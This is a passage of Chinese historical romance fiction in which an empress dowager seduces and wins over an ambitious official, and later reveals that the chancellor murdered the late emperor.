殿中光线很亮,足够透过眼皮去晃动视线,殿门开合亦有声音。 徐卿安睁了眼。 上官栩见他满是疲倦的双眸望来,脚下步子不止,到他身旁将东西轻放下。 “为何不去榻上睡?”上官栩坐到另一边位置上,边柔声道边将托盘中的琉璃碗端了出来。 徐卿安虽有疲容,但眼神依旧清亮,就这样注视着她的一举一动。 “上了榻睡一会儿就难醒过来了。” “那便就趁此多睡一会儿。” “不行,不能多睡。” “为何?” “我还得去张公那儿守着。” “他已经脱险,你实在不必如此。” 青年默了片刻,垂眸道:“我欠他太多,本就该还的。” 上官栩抬眼向他看去:“师生之间何谈亏欠?他是你老师,你们之间相互扶持本就是常事,又何须一笔一笔去算谁亏欠了谁?他护你,你敬他,危难之时不离不弃,这该是师生间最好的情分才是,何必谈到亏欠上去?” 徐卿安闻言掀起眼帘,然而只看了她一眼就垂下眼,落在她端来的那碗东西上。 “娘娘端的是桂圆莲子粥?”他没有延续刚才的话题。 “嗯。”上官栩道,“你久未安眠,难免气血有所损耗,伤神劳形,桂圆有补心脾、益气血之效,莲子也能养心安神,我便让膳房熬了这桂圆莲子粥,又听说你这几日都未好好进食,便也恰好能给你暖暖胃。” 徐卿安笑一下:“娘娘当真体恤臣下。” “我不是体恤臣下,我是体恤你。”上官栩蓦地说道。 徐卿安搭在凭几上的指尖明显弯了下。 他向她看去。 上官栩说得真切道:“老实说,我对你老师的了解并不多,他低调多年,他这样为人处世的方式也使得我对他减少了关注,而说到底,苏望的新政其实就是冲我而来,若非我与他之间的争斗,恐怕就没有当日朔朝上的事,那么你老师也就不会因此受了重伤。” “我非无情之人,对你老师自也心有愧疚,而如今我又见你在你老师榻前彻夜侍奉便也觉得是你帮我做了补偿,也因而连累到了你。” 徐卿安目光微垂一下:“这两日臣一心想着照顾老师,和娘娘之前商议好的事便未有过问,不知娘娘安排得如何了?” 上官栩:“苏望虽想借新政招揽世家,但好在他联系都是世家的旧势力,与我们之前打算的同新兴势力结合的计划有所不同,所以原本联系那些人还能用,且经此之后他们的立场会更加坚定地偏向我们。” 徐卿安点头:“旧势力投奔了苏相,新势力不想被压得翻不了身就只能跟着娘娘了,如此,娘娘也算峰回路转,因祸得福。” “那陛下呢?娘娘这两日为前朝的事奔忙,陛下那边娘娘又是如何安置的呢?”他突然转变话题道。 上官栩也因他的话锋急转略有怔忡,又奇怪:“这事说到底也和他没什么关系,他便也自是同往常一样。” 徐卿安:“看书习字?” 上官栩颔首:“听说他本还准备好了画丹青,但这两日你没过去他便也就停了这个打算了。” 徐卿安建议道:“其实陛下不必执着于文字书画上,他是一国之君,当应文武肩修,娘娘不如也给他多排一排习武的课程。” 他目光紧紧锁在她的面容上,“而且……当年的赵王殿下不就是镇守一方的马上王爷么。” 然而听到这里上官栩却无奈地笑了笑:“不瞒你说,他还真说过他想做能舞长枪大将军,也正因如此我才多为他排了文课,不然他的心早就全偏到武学那边去了。” “看来娘娘对陛下很有期许。” “自然,不管是因着他一国之君的身份,还是因着那份血脉他称我的一声母后,我都要对他负责。” 一连再试她都面容往常,没有丝毫异样。 难 道那“狸猫换太子”之事她不仅没有参与,甚至都完全不知晓?还仍以为那个叫她母后的孩子是原先的赵王世子? 徐卿安闭了闭眼。 然而就在这时,他搭在凭几上的手覆上一片温热,不过转瞬又渐渐变凉。 她的手心怎这般冰凉。 徐卿安倏地睁眼望去。 可是她表情温婉,不被他的举动左右。 “先喝粥吧。”她柔声说。 其实今夜上官栩来这里的目的很明确—— 她就是来试探他,并拉拢他的。 诚然,他不止一次地向她表情意,然而皆因那些时候他的种种举动让她对他的情意并不敢轻信。 可是如今不一样,他能对张凡尽心就起码说明他是个有情的人,那她就要试试他的情到底会落在哪些地方。 而且经由张凡的事情后,更加坚定立场的不是只有世家里的新势力,还应有她眼前这个切实经历过此事的张凡亲传学生。 所以她放软姿态,就是要趁他现在心力憔悴之际卸下他的防备,看看他的心中的想法到底是怎样的。 若能完全为她所用那自是最好的,若是不能……那她也有其他的打算。 而现下她看他虽眼神望来,但她覆住的手却久未有动静,又距离拉得太远,她倾身伸手的姿态其实并不舒服,她便准备收回。 然而刚一动作却被反手一握。 徐卿安握着她的手掌,手心温度开始在她的手背上扩散。 第65章 殿内,上官栩的动作停住,视线与另一人交织在一起。 那人先开了口:“娘娘今夜来就只是为了给臣送一碗粥么?” 上官栩反问:“难道这个理由还不够么?” “或许是单薄了些。” 他手上的力度不算大,但也足够抓稳她,只是他手心温度无比炙热,与他淡漠的语气截然不同。 上官栩笑笑:“那便再加一条交心吧。” “交心?”听到这话的瞬间,徐卿安不知哪里来的情绪牵动着唇角笑了下,“不知娘娘要如何与臣交心?” 要想卸他防备,达成今夜她来找他的目的,总得循序渐进,一点一点地撬开他的心扉,上官栩道:“不若谈谈理想,谈谈未来?” 她先道:“你只说过你的青云志,想要位极人臣,但那之后呢,你又想做什么?” “在那以后……”徐卿安思忖着忽而笑一下,“成为一朝宰辅、一人之下万人之上后还用考虑在那之后的打算么?既然从一开始就想的是位极人臣,那追逐的自然就是那至高无上的权柄,因此待目标达成后,就该享受那权柄在握的滋味了。” “就如那日在大殿上,难道苏相的新政当真是如他所说,是为了大晋储粮?而不是因为他的私利?” 说着,徐卿安勾了勾唇,再度反问:“娘娘可觉得臣说得对?” 上官栩将他的话听入了耳,也是,她不是一早就知道他的野心了么,这话真从他口中说出来她便并不觉得惊讶,反而对他如此坦诚有些意外和她所料的得到印证后的释然。 他果然是这样想的。 徐卿安目光深深凝望着她,看见她弯起的嘴角,浮起的那抹了然笑意,他心中不绝自嘲发笑。 她当是这样想的罢…… 上官栩开口道:“各人所求不同,但你说得也有道理。” “娘娘既说要交心,那臣可能问娘娘几句话?”徐卿安悠然看着上官栩道。 “交心”的过程中他能主动与她多说话当然是好事。 上官栩自然不会拒绝:“自然,你问便是。” 徐卿安:“娘娘是何时对苏相起的杀心?又是因何起的杀心?臣与娘娘一路合谋以来,臣观察过娘娘,臣能感觉到娘娘对苏相的杀心应早在上官大人被诬陷前就升起了的,只是那到底又是因为什么而起呢?” 上官栩眉头蹙动,她万没想到他会问这个问题,然而他现在一目不错地望着她,显然是不容她躲避的。 上官栩垂眸:“还能是什么呢?你刚才不也说了么,一旦位极人臣,有了一人之下万人之上的权力傍身,便想着要享受其带来的滋味,而欲望会生长,其中滋味越好便求得越多,所以你说,在他欲望滋生的过程中,我在他前行的路上充当了什么角色?而他又在我的生活中充当了什么角色?” “所以娘娘会杀了我么?就像您如今待苏相那样,恨不得除我而后快。” 上官栩转眸看去。 她的手心已经被焐热,他松了她的手,不想她因长久处于一种姿势而生出不适。 可是这样的动作,在她的眼中就有了别样的意味——他如今要挑破他们那层窗户纸了。 瞬间,房间静了下来。 可是他静静地看着她,目色安然,甚至还带着浅浅笑意,就像刚才提出那尖锐问题的人不是他一般。 徐卿安微微扬眉,轻轻“嗯”一声以示追问,又想着或许她会以这话问得突兀直接搪塞过去,便笑一下再道:“毕竟臣的志向也是一朝宰辅,也是苏相如今的位置,那到那时娘娘可会同样示臣为眼中钉、肉中刺?又是否会用同样对付苏相的手段杀了臣?娘娘应也是对臣起过杀心吧?” 目光相接相融,上官栩的眼神也渐渐幽深起来。 “那你呢?你可有过同样的想法?”她蓦地反问,“你既也有如苏望的一样的野心,那等你登上那位置时,我对你而言,亦如我相对苏望那样,是你路上的绊脚石,那你可曾想过要除了我?” “没有。”不过一瞬的时间他便答道,“从来没有那样的想法。” 他回答得太快,目色又沉定,上官栩就这样瞧着丝毫找不出他半分伪装的痕迹。 这似乎就是他心中的答案。 不过也没待她反应,他便再笑一下,偏开了头,垂眸笑了下:“是臣的错,最初就不该问那样的话。” “然而你心中还是想要一个答案是么?”上官栩轻声。 他重新看向她:“娘娘可以不必给。” “可我若今日偏要给呢?” 他搭在食指上的拇指一扣。 “然而娘娘又打算如何给呢?纵是言语上给出答案,可就算臣说臣相信了,娘娘便能安心了么?” 对于两人都揣着明白装糊涂的事,他想说与其给出一个反而增加双方猜忌的答案,不如就继续这样虚与委蛇下去。 可是身侧光影微动,他察觉到她站起了身。 他抬眼望去,见她款款而来。 她俯身而下,又紧挨着他坐下,手抚上他的脸颊:“若我能给出你我都安心的答案呢?” 他眸中初显疑惑,然而只一瞬,他便明白她的意图! 心口霎时一紧。 他是聪明人,她见他没说话便知他是默认了。 “晏容……你可是喜欢我这样叫你的字?”她的视线在他的唇和双眼之间来回游移,“当初应下的儿女之事拖到今日实在不该,而终归你我之间该是一体的,那些不该生起的猜忌只会成你我之间的隔阂,只会成他人对付我们的手段,我们不要给他们那样的机会好不好?” 想起当初在他府上,他曾圈住她,低声让她唤她的字,徐卿安无言片刻,心中酸了又酸。 “如此,娘娘求的是什么呢?就是你我间绝对的坦诚相见么?” 这样的承诺太过虚浮,所有的言语不过人心修饰后的结果,所谓的坦诚又焉知不是伪装后的答案。 她当然不会求这样的东西,他有野心,亦有城府,纵然会因为她给出的温柔乡而短暂地心向于她,但新鲜感散去后又如何能确保他的心意不变呢?若他势要到他期望的那一步,那她就是他此行不可避开的障碍,而到时她亦没有十足把握能够控制住他。 不过好在,看这次他对张凡的态度,和之 前阿筝事情上的处理,让她看出了他身上仍有人情味在,仍是个会守诺的人。 上官栩不知是喜是忧地笑了下:“除朝堂外,你在江湖上有不小的势力吧?之前阿筝护送刘昌案的证人进京,路上另一批跟着护卫的人应该也是你安排的?所以,我想求的是,不管之后,我与苏望的争斗结果如何,你我之间的结果如何,我都希望我身边的人你能帮我护好。” 她捧转过他的脸,柔声再道:“晏容,你可愿帮我?” 苏望如今的攻势越来越大,那日在朝堂之上的事无疑给上官栩敲响了警钟。 她如今所行之事就是充满危机的,纵算许多事情都在她的谋算之中,但也难保不会出现意外,就如朔朝那日的事,她无惧生死但她不能对身边亲近之人不管不顾。 徐卿安便是个不错的选择。 他不完全是个无情的人,阿筝的事他也守了诺,就算以后他们二人有了相争,但她身边的那些人却到底不会碍到他的进程,故而让他护他们一命是可行的。 徐卿安任由她捧着他的脸,眼神复杂地望着她:“娘娘就只为他人求吗?不为自己求吗?不求自己能有个退路吗?” “可我能退去哪儿呢?”上官栩扯着唇角苦笑下,“我是太后,我的身份在这里,难道我还能与人远走高飞么?当然,若晏容你之后愿意护我,那我自是欢喜的。” 她抬眼对他笑。 可是他却觉得他越来越看不懂她。 说她薄情,但她到现在都是因顾及着身边之人而与他谈条件,可若说她重情,她当年行事却又那般狠绝,丝毫不留余地。 所以她的苦衷到底是什么呢? 他真地不知该如何想她了。 上官栩哪能知晓他在想什么,只是看他如今的反应,她便知道她想要的要成了。 她没有再给他回应的时间,而是扶住他的脸深深送吻下去。 柔软的唇抵下,将一切可能的话封缄。 他曾无数因她对他的这些越轨之举感到愤怒,然而真当最后这一步要来临时他却生不出任何怒意,甚至反而是心痛更多一些。 他说不出那种心酸、涩软之意从何而来,他只是觉得难受,只是莫名觉得自己错过了好多。 这一次的接触不过一切的亲密的开始,他搂上她的腰肢,将她带近后开始回应。 上官栩同往惊讶于他的反应。 记得以往,二人每每要行到这一步时,他都是震怒的,都是粗蛮的,她原以为这次也会如此,可是没有。 她被搂抱在他的怀中,在兰香的包围下感受他潺潺深入的亲吻,她身子不由得软下来。 空气渐渐被夺去,在眼前那片黑白相交的光再度来临时,他终于暂时离开了她的唇,额与她相抵。 看她殷红糜艳的唇微张,感受她湿热的呼吸。 “娘娘啊,臣该如何待您才好啊。” 上官栩喉咙咽了咽,闭上眼,要将一切尘埃落定般:“去榻上。” —— 床帐垂落,上官栩被横抱入榻。 她搂着他的脖颈,一路承袭着他的亲吻,感受到背部触碰到的踏实感,她被他轻放在了榻上。 他的唇一刻不离她,她便只能摸索着去帮他解衣物。 然而一触碰上,他便拉住她的手指,唇上的动作停顿片刻,呢喃哑声说:“我来……” 他不想生怒么?他不想生恨么?只是这一切有什么用呢? 又或许是因为她数次的试探,数次的越轨之举,让他早已知晓这一天会到来,便也在心中慢慢自洽了罢,终归在这些事上他赢不了她的,甚至在这些时候他总是被她时刻牵动着心弦的下位者。 这是那日他眼部受伤,她被他圈于方寸之间时,他便意识到的事。 他褪了自己的衣物,然后便颇为熟练地去解她的束带。 记忆中的动作他从未忘却过。 从何处开始抚起,从何处开始调动她,他都记得一清二楚。 他忍着酸、泛着痛,却又品味出一丝甜地与她继续下去。 窗外,明月高悬,微风拂过院中竹叶。 帐内,呼吸声此起彼伏,忽如和煦春风,忽如狂风骤雨。 上官栩仰面起伏,心绪亦是复杂。 耳畔是不可忽视的、带动她一起呼吸声,颈间亦不停被灼热的气息覆盖。 她已竭力压制自己心底在此间事时浮起的那抹熟悉感觉,她实在不愿就这样将两人混淆。 然而偏他这次极尽温柔,细致入微地予她所有体验,纵是到后面实在失控,也只是微加了力度,再轻噬她的颈窝,而又许是害怕自己太过莽撞弄疼到她,他双臂便将她圈得愈发的紧,就想以此将那些难以抑制的情.欲散发出去。 他不可自抑的气息凌乱响起,兰香变得濡湿。 上官栩睁开雾蒙的眼,本想看清眼前人的样貌,不让自己坠于那些不切实际的幻觉,可是他伏于她的颈窝,伴着他的声音她只能看他肩颈的动作,耳畔涨红。 上官栩闭了眸,泪从眼角划下。 她将他搂得再近了些许,唇齿落在肩上,由浅入深。 罢了,就这样吧…… —— 时间似乎又回到了那年上巳日。 在春三月的暖阳下,他的面容无比清隽,笑意盎然,眉间似有流光回转。 上官栩眼睫轻动,眉头不可置信地蹙动几下。 他目色温柔,向她莞尔:“栩儿。” 上官栩眼睛一眨不眨,一步一步向他靠近:“你……愿意来看我了?” “傻话,我何时不愿来看你了?” “好了,”他抚过她蓄泪的双眼,指尖捋过她发丝后顺下,声如初春湖水,“哭了就不好看了,还是你就是想让我给你画眉添妆?” 上官栩挤着笑,又哽咽:“当然了,你自己说说你都多久没有给我画眉了?” 他指尖摩挲在她的耳后,笑中几分无奈几分歉意:“是我不好,明日,明日我给你画好不好?” 明媚的阳光下,他的双眸尤为清亮。 上官栩不解:“为何是明日?” “你忘了?”他笑,“今夜是上巳夜啊,一会儿还得去曲江呢。” 上巳夜,曲江…… 上官栩瞬间慌神,眼中染上了恐惧。 不行……不行! “你不可以去!” 然而又是一阵白雾弥漫,他似乎对她的话置若罔闻,身影渐远。 她立马迈步去追:“你别去,你别去……” “景哥哥!” 头一偏,在喊出那一声的同时,上官栩睁开了眼。 身侧之人正侧躺着看她,手上的动作停在她的鬓发上。 他目色沉沉带冷:“你在叫谁?” 第66章 一场情事让人餍足,亦让人疲惫。 到底许久未经历这些,那事结束之后,上官栩便累得直接睡了过去。 而徐卿安在给她喂过水后也就一直侧躺在她身边安静地看着她。 她的睡容依旧和以前一样安然,只是透出的丝丝气质有了些不同,许是岁月沉淀,许是经历了太多事磨了心性,当初的俏丽灵动如今几乎已经看不见了,取而代之的则是另一种沉静温婉。 他细致地观察着她的变化。 记得以前无数个缠绵的夜里,一切趋于平静之后,他都会拥着她,抚着她的背帮她平息,与她温存,而那些刻进骨子里的习惯今日也牵动他的心绪隐隐作祟。 在她入睡之后,他的手数次探出又收回,然而终究半是从心半是妥协地落在了她鬓边的发丝上。 行事时淌了汗,发 丝被浸湿后胡乱地贴在额角、鬓边,他伸出手本想为她顺一顺,却在触碰到她的一瞬间见她眉头突然抖蹙起来,神情也带上了惊惧。 他当即反应过来她遭了梦魇,心神不由得被牵动,然而就在他准备将她揽抱入怀时,却突然听见她喊了声“景哥哥”。 如冬日冰川中被凝固成冰的湖泊表面,在太阳升起的那刻倏地一下炸开,说不出是寒锐还是灼烈。 他就带着这样的眼神看着她:“你在叫谁?” 上官栩完全没想到自己竟会因一句呓语在他面前失了分寸。 她方才惊醒,对周遭的一切都还未完全回过神,她便不想在此时在这件事上与他费心思。 她瞥了目,闭上眼调息了片刻,准备起身:“我该回去了。” 可她刚有动作就被他按住,力道悬殊下,完全就被他禁锢在榻上。 他扯着唇怪笑一下:“娘娘才与臣温存不久,口中就唤了旁人的名字,难道娘娘不该给臣一个解释么?” 上官栩缓缓抬眼看他:“你放心,我的入幕之宾只有你一人。” “我知道!”他胸口剧烈起伏,翻身而起,按着她的肩将她扣在榻上,却又克制着,“所以臣才要问清楚,娘娘口中刚才的那个人是谁。” 像是非要撕开她的伤疤一样,他追着问她,刚才梦中的那番情绪再次在上官栩心中翻涌。 好痛。 她鼻尖酸楚,颤着声:“你非要问么?” 徐卿安不容她躲闪地凝望着她。 她眸光洇湿,笑容抖颤、苦涩:“还能是谁?我身为太后,我唤的还能是谁?” 她深深呼吸一次,含泪的眸中染上韧意,给出了答案:“我的……亡夫。” “如今躺在平陵中的那个人……” —— 今夜无云,窗外皎白的月光映照在窗扉上和殿内的烛火交相辉印。 那话之后,整个床帐内的空气都静了一瞬。 徐卿安居高临下地俯视着她。 她的亡夫…… 他是她的亡夫…… 一股巨大的,夹杂着荒谬不安和震骇的杂乱情绪如潮涌般向他袭来。 这样的情绪足够让他怔忡在原地。 说出那话后,上官栩忍着抽泣的冲动与他对视。 可他一言不发,神色凝滞,唯独他胸膛处起伏不止,呼吸微有不平。 她说不出他现在带给她的感觉是怎样的,他周身有戾气、有寒意,就似全身绷紧怒火就要爆发般,可是她这些混杂的情绪中感受到了些许惊惶,以及些许想要流露却又被死死按捺住、不敢轻易释放的柔意。 帷帐轻摇,烛光透过后明明灭灭,他的脸颊朝向榻面,轮廓因此半明半暗。 帐内已经静得太久,她不想因为那一句话而让所有努力前功尽弃。 在光影的闪动中,她目光落在他肩上,看到了残留下来的那道齿痕,她手慢慢伸出触碰上去,轻轻抚过。 “不过你放心,他已经死了,你没必要与他计较什么。”她柔声轻语,“而我现在也只有你。” 手指顺着肌肉走向绕到他的颈后,她无比缱绻地劝他:“晏容,忘了那句话罢。” 可他面如冷玉,对她的话恍若未闻:“你为什么会唤他?” 他执着追问,看起来就像不得到答案誓不罢休。 然而她撇开目,偏不想说。 “回答我!”他因她的态度生了火,钳过她的下巴强制让她看他,但言语上又尽可能地温柔,“他既然已经死了这么多年,娘娘为何还要唤他?娘娘刚才又到底梦到了什么?” 他的话就像一根细韧的针一般,不过她的心房有了一处微隙,他就非要借着那缝隙刺入,了解她的所有。 刺痛之下,上官栩开了口:“你曾说你有一个早逝的青梅,那你可曾梦见过她?”她目中渐渐湿润,“你可曾回忆过你与她之间相处的点滴?你……会想起她么?” 徐卿安怔住,双眸猛地泛起酸意,又小心翼翼地问道:“所以……你是在想他吗?” “对啊。”上官栩妥协地承认,“他刚入了我梦里,我在想他。” 她抬眼向伏于上方的人望去:“不过你放心,他也只是偶尔会出现在我梦中,不会影响你我之间的……” 徐卿安突然将唇压下,将她未说尽的话全部吞入腹中。 缠绵,摄取,痴吮,他压来的吻强势却又温柔,不像是生了恨之后的反应,反而有些爱怜之意,但其中又似掺杂了些患得患失的情绪,他就像在害怕这样的相处稍纵即逝,所以他吻得急更吻得深,用这种方式来确认当下的一切都是真实的,是他能够牢牢抓住的。 上官栩万没有想到他会有这样的反应。 她以为他会恼羞成怒,以为他会生恨质问,甚至可能会因那些可笑的占有欲而失控。 然而都没有。 他只是将她压着深吻她,只是捧着她的脸,揉着她的腰爱护她。 诚然,如此的姿势下她依旧被他箍于一方之地,但她知道只要她稍一用力她便能推开他起身。 于是她便干脆顺从他地将他揽近,予他回应,予他安抚。 待到她感受到他动作渐软渐缓时她突然离开他,头向旁一侧,又在他气息未平、眼中还有迷蒙时,将搭于他后背的手落于他脸侧,手指摩挲。 她浅浅笑:“你爱我,是不是?我们之间不只有利用,是不是?” 他眼睫轻颤,眸光闪烁,张了张口还未应出声,她便再扬唇而笑,已然有了答案。 她手指抚慰着他的脸颊,极尽缱绻地描摹他的轮廓:“明日,你来立政殿,我把你想要的都交给你,但是现在夜已深,你得暂时先放开我,让我回去了。” 徐卿安目光停留在她眉眼间,手下动作一动不动:“娘娘要交给我什么?” “自是会让你欢喜的东西,亦是能帮你为你老师报仇出气的东西。” “如此,娘娘为何不现在就拿出来?” 上官栩柔柔地笑一下:“那般重要之物如何随身带在身上?而且,我现在不拿出来亦是在给你考虑的时间。” “晏容,你要想好了,只要明日你踏入了立政殿,那我们之间就彻底绑在了一起,以后诸事不进则亡,亦没有你后悔的机会。” 她果真轻轻一用力就将他推开,再翻身反压在了他的胸膛上,指尖扫过肩下,扫过咬痕,她抬眼对他莞尔柔声:“但我相信,你会来的,对吧?” —— 时间一晃而逝,翌日夜间,徐卿安寻了个人少的时候去了立政殿。 他从昨夜她说过那话之后便一直心绪不宁。 不,甚至说,从昨夜他们的开始,从她的那一声“景哥哥”起他便开始心神失守了。 一日,她何须给他一日的时间,在熬等的这一日里他自觉他的所有都失了章法,就连到现在,他进入了立政殿里时他脑中也是浑浑噩噩的一片。 她因何而唤那声“景哥哥”? 日有所思夜有所梦,他在她的梦里又是怎样的一个角色?是思念,是愧疚,还是其它? 整整一日,他想起来好多事情,想起这四年来他查到的所有,想起来前二十年里他与她相处的所有,亦想起他回到长安与她发生的所有。 甚至还有刘昌、薛弘和苏然这些与往事相关的人。 刘昌在狱中向他承认过,当年工部之事他确实见过中宫的玺印,可苏然在知道他身份后亦向他惊叹过,原来他们夫妻…… 他们夫妻二人到底如何了? 他的心像是被两股力道狠狠拉扯着,一边是可能失而复得的狂喜,可另一边便是喜悦背后可能蕴藏着的这四年来他所做过的蠢事。 缘何就那般肯定?缘何就待她那般刻薄? 心中充斥着不安的同时一股尖锐的、刺痛的人心的悔恨也已经泛起,而这种疼痛就已经整整折磨了他一整日。 他不知自己是如何走入立政殿里的,只是在他跨入殿内的那一刻,青禾踏着碎步到他面前向他行了礼:“徐大人可在外殿稍后,娘娘正在内殿梳妆。” 说完,青 禾便再行了一礼,退出了殿外。 外殿里,徐卿安独自站在大殿中央,静下心彷徨时他闻见了殿内丝丝缕缕的熟悉兰香气。 他仰目开始环视整个大殿,这是他第一次心中以一个故人的身份站在这里,重温这里的一切。 其实这里的一切都没有变过,他离开时是什么样,他回来时便是什么样,唯有…… 他目光落在殿侧的那道小门上。 唯有那间侧室,他不知有没有变化。 他暂时将那些矛盾情绪抛于脑后,脚下鬼使神差地往那侧室行去。 房门未关,他撩了帘子便径直走了进去,房间不大,一眼就能将屋内景象尽收眼底。 大体上都是一致的,唯多了一方书案,多了一幅悬挂的画卷。 书案上的陈设不多,只一尊香炉,一方木盒,后方画卷亦没有打开。 香炉中有丝丝缕缕的香烟飘出,原来殿外的兰香气就是由此而来。 他慢步上前,脚下迈出的每一步都似有千斤负重,直到到那桌案前时,他伸出的手都已经开始颤抖。 他拿过那方木盒,就像在验证一个早已被确定的结果般去开启它。 木盒打开的那刻,他陡然一颤叹,脚下趔趄。 “那是他留下的东西。” 侧室门口处,上官栩的声音传来。 他背对着她,狠狠地闭了眼。 可是衣料摩挲声响起,他知道她走了过来。 “他走得急,留下的东西亦不多,这手链是我送给他的,便也算是我与他之间的信物吧。”上官栩停在他的身侧,侧抬起头向他看去。 “娘娘很珍视这红绳?”他不知如何艰难地压下万千情绪开的口。 上官栩从他手中将盒子拿过,重新合上,柔声道:“是吧,毕竟一根红绳还是比大多数物件要好保存的。” 他终于转过身看她。 这才见她竟是披发简装,长发如瀑,纱衣轻覆下肌肤如玉。 见他望来,上官栩弯起唇对他微微笑:“你若喜欢,之后得空我也为你编一根。” 徐卿安压着那股酸胀地情绪问道:“娘娘今日叫我来就是为了让我看这根红绳的吗?” 上官栩语似娇嗔:“这盒子是你自己打开的,我焉能算得这么准?”她将盒子放回原处,依旧带笑,“今日让你来当是有其他重要之事要告诉你。” 放下盒子后上官栩便一直面向桌案没有再转回去。 她兀自开口道:“记得昨日我们才聊过你的青云志,而你也问了我为何会对苏望起杀心。” “经过昨夜的事情,我自觉我们已经亲密无间,诸多事情便也实在不应再隐瞒于你,你欲剖析我的心,我亦想成全你的志。” 她眼神蓦地变沉:“所以,我便再告诉你一件事吧,可助你登高位,任宰辅。” 她气息忽地抖颤,近乎咬着牙地发声:“逆臣苏望于四年前谋弑主君,罪大恶极!而我身为先帝的皇后,事发之后只能任其裹挟,看他仍以贤相自居于庙堂之上却无能为力。四年以来,千百个日夜里,我都恨不得生啖其肉,饮其血,然而纵是匕首捣其心,抽其筋骨,也不足雪我心头之恨。” “而且我亦知道,我不能就这样随意杀了他。死于谋刺,只会成他美名,唯有在其存世期间,剥露其真面目,世人才会相信他到底是怎样的一个狠毒奸佞之人!所以这四年来我收集他的罪证,消磨他的势力,只是为了能有一日能将其彻底铲除,给先帝一个交代,给大晋所有因他而受害的人一个交代! “幸好的是,那一日似乎就快到了。” “晏容,你有凌云志,你的老师也因他遭难,我们如今有同一个敌人!只要你将他的恶行昭告天下,他必遭反噬,永世不得翻身!届时,世人便知身为检举之人的你为何等的忠良之士,你再入中书省,加同中书门下三品,贤相之名以后亦可落在你的身上。而我,则在此之前,将其所有罪证全部送于你的手上!” 话落,上官栩垂了眸,情绪平息片刻后再温声道:“晏容,你还记得我昨日说过的话吧?只要你今日踏进立政殿就说明你我从此彻底绑在了一起,不进则亡。毕竟以苏望的性格,你知晓他那不可见人的秘辛后,他便不会放过你了,只是我如今就这样直接告诉了你,你可会怪我、怨我?要知道,从你踏进立政殿里的那一刻,我派出去的人便想法让他知道你我今日的密谈之事了。” 身侧久久未有回声,上官栩不免奇怪地抬眼向旁侧。 然而甫一抬首,她才知旁侧那人早已红泛双目,泪如断珠垂落。 第67章 上官栩见状诧异了一瞬,不知他的情绪因何而起。 若是如她所说,他恼她将他置于只进难退的危险处境上,他的反应也不该是这样。 他从不是一个柔弱的人。 而在她看过去的那一刻起,她亦明显的感觉他的目中惊惶了一瞬,然而神态已被窥见,已经避无可避。 上官栩便用刚涂过手膏的手抚上他的脸颊,怜惜地问他:“怎么了?是我哪句话伤到你了?” 那熟悉的芍药花香拂过他的鼻尖他便更痛。 他一下将她搂进了怀里。 他弓身将下颌抵在她肩背位置处,紧闭双眸:“没有……娘娘说得每句话都对。是臣、是臣想错太多……” 四年,四年的时间里他都执着于那自以为是的真相,而那一心只想为他讨个交代的人就这样站在他面前他都相见不相识。 他真是个蠢货。 他真是……不知道该怎样面对她。 他这次回来的目的就是只有一个——不惜一切代价,为故人,为自己复仇、讨个交代。 在经历过被亲近之人背叛的痛苦之后,他深以为那群在背后密谋祸事的人都是阴诡之人,而与这样的人厮杀拼争用他以前的那套君子之礼是万万行不通的。 所以他归来之后用同样的阴诡手段面对所有他以为的为害过他的人,哪怕是现在他身边追随他的人也同样支持他在复仇路上抛弃仁善、抛弃以往的君子风度,所以他将自己彻底变成了和以前截然不同的人。 可是现在,他方才知道原来他以前君子的模样还深深印刻在她的心目中,就像是用尽力气抛弃的爱物,他以为无人在意,却原来有一个人一直将它小心翼翼地珍藏。 而如今那人将那物再捧于他面前时,他双手已然污秽得不配再接过。 徐卿安心如刀绞。 上官栩任由他拥着她,她虽看不见他的面容,但她能听见她耳侧发颤的呼吸,亦能感觉到他情绪的波动,虽不知他因何会有这样的反应但她仍是被他牵动心绪,不自觉抬手抚上他的后背。 她话音中带着安抚:“哪里想错?这些话我以前都没有告诉过你,你如何会有机会想错呢?” 正因如此,正因为你没有将这些话告诉过我…… 他将她搂得再紧了些。 她当真觉得他奇怪。 “你……是不是有话想与我说。”她试探着问。 “没有……不!”他立马改口道,手上力道再一加重,“臣想告诉娘娘,臣对娘娘不存利用之心,臣愿从此以后只为娘娘马前卒,只求娘娘以后……能够信任臣……能够相信臣今日所说的话所言非虚。” 他强劲的力道和他炽热的呼吸一起将她包裹,她所处的不过方寸之地,他的所有情绪尽数洒下时她根本无处可逃,就被浸泡,就被感染。 她眼角不知为何也跟着酸了酸,唇角扯出苦笑道:“嗯,我相信你。” 她经历过情深似海的过往,见过男子真心情浓的模样,所以这一次她是真的相信他。 贴着他耳廓,她声音轻柔:“晏容,这一次我们便一起将我们想做的事做成吧。” 他闭着眼,低低地应:“好。” 见他情绪渐渐稳定下来,她便推开他的腰慢慢拉开一段距离,虽他双手仍是搂着她的,但好在他已不再抱得那么紧,不再抱得像要把她融进骨子里那般。 其实,上官栩觉得他今日的情绪竟比昨日在榻上的还要强烈,且榻上诸多行为都与情.欲摧动有关,就这样她都觉得他现下强烈的情绪远超于当时。 她是相信了他刚才说的话,可是她也同样地不理解他的那些蓬勃情感因何而来。 不过她也没问,只抬指擦拭过他脸上残存的泪痕,关切道:“你好些了么?” 只那一问,原本被他按压下去的酸痛之意再度泛上眼眸,他忙撇头, 看向了一侧。 可是这一瞥目他却又将目光落在了那幅被收起的画卷上。 “那幅画是花鸟图么?” “是人像。” 徐卿安怔得看回来,上官栩却恍若未察,视线投向那画卷,目泛笑意继续道:“这画像有些年头了,听画师说画卷卷起来存放会比铺陈开要很多,所以大多数时候这画都是卷起来。” 说着,她静了静,转回头来看他:“你可是想问这画像里的人是谁?”她在他的注视下微微一笑,“是先帝,我刚说了,他去得急,留下来的东西实在太少,我便存了他的一幅画像下来,你莫要生气。” “我能看一眼么?”他目光再度落回到那卷轴上。 上官栩垂眸片刻,沉吟道:“看吧。” —— 徐卿安离开立政殿的时候已是下半夜,青禾再次回到殿中时,见外殿无人,又闻兰香缕缕,便直往侧室去。 上官栩果然在侧室内的书案前,静静望着前方放下的画卷。 青禾朝那画卷看一眼,她记得之前离开立政殿时那画卷是卷起来了的。 她放轻脚步过去,先轻唤一声:“娘娘。”待上官栩回过神后再道,“徐大人已经去张公那里了。” 上官栩轻嗯。 青禾便再看了看那画卷,又看向上官栩,忧忧道:“娘娘今日的打算……” “他应了。”上官栩直接道。 青禾跟着松一口气。 而她听见上官栩继续低声道:“甚至是以我完全没有意想到的一种反应应下的。” “是不好的反应么?”青禾小心问。 上官栩摇头:“不,是太好的反应。” 